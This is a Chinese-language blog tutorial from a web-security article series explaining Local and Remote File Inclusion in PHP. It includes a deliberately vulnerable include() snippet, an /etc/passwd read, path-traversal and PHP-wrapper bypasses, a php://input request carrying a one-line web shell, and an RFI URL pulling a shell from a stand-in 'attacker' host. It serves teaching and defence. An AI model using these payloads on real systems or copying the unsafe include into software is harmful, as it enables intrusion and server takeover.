iT邦幫忙

2021 iThome 鐵人賽

DAY 7
0
Security

讓Web開發者森77的Hacking Trick系列 第 7

[Day7] Local File Inclusion / Remote File Inclusion

前言

中場休息過後,來看一下LFI和RFI吧!

正文

LFI

LFI全稱Local File Inclusion,從字面上就可以大致理解這種攻擊手法,簡單來說就是攻擊者利用網站上某些會引入Server本地端的文件(檔案),而去訪問敏感(或預期外)檔案的攻擊手法。

download.php

<php
include($_REQUEST["f"]);
?>

從這段code和檔案名稱可以看出,網站中的download.php提供了下載某個檔案的功能,這在現實場景也會看到。若是沒有正確的過濾或不恰當的使用,就可能引發LFI,例如在download.php中有個檔案叫register.pdf,當你點下這個pdf的連結後的網址是:
http://example.com/download.php?f=register.pdf
這時候改變f的值:
http://example.com/download.php?f=/etc/passwd 註:etc/passwd為Linux中包含使用者名稱資訊的檔案
就會看到像這樣的資訊

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
...
...

當然只看到這些資訊可能沒有甚麼作用,但透過其他方法可以使LFI變得更具威脅性。除了include之外require, include_once, require-once這些也都有可能引發LFI。另外除了/etc/passwd,也可能被嘗試leak一些預設位置的conf或其他系統設定檔等等。

當然,網站開發者可能會對其做出一些限制或過濾,這時候可以使用相對路徑來繞過,或是使用replace ../,但繞過的方法百百種,例如很簡單的....//
....//....//....//....//etc/passwd
或是透過php中的偽協議:

file://
http://
php:// #php://filter , php://imput..
zip://
phar://
...

都可以做到繞過,若是有玩過一些CTF的人,應該對此也不陌生。
這之中又有一些威脅特別嚴重的如php://input
這可以讓Server讀取User的Post Request並當作php code執行,這就允許攻擊者可以用來上傳web shell,例如我們發送以下Request到有此漏洞的網站:

GET /f=php://input HTTP/1.1
Host: example.com
...
...

<?php echo system($_REQUEST['cmd']); ?>

其他還有像是引入php session觸發的RCE這種手法,都會讓LFI變得更加危險。


RFI

全稱Remote File Include,也就是遠程檔案包含漏洞,這個與LFI不一樣的是他可以包含"遠程(非本地)"的檔案。

這個漏洞危險的在於,攻擊者可以透過在local架設一個簡易的web service,例如:
python3 -m http.server 80
並在資料夾中寫入一個Web shell或Reverse shell,來獲得Server的initial access:
http://example.com/download?f=http://attacker/shell.php&cmd=<reverse shell>


下篇預告: HTTP Response Splitting


上一篇
[Day6] 滲透測試證照 - OSCP 小分享
下一篇
[Day8] HTTP Response Splitting - HTTP回應拆分
系列文
讓Web開發者森77的Hacking Trick30

尚未有邦友留言

立即登入留言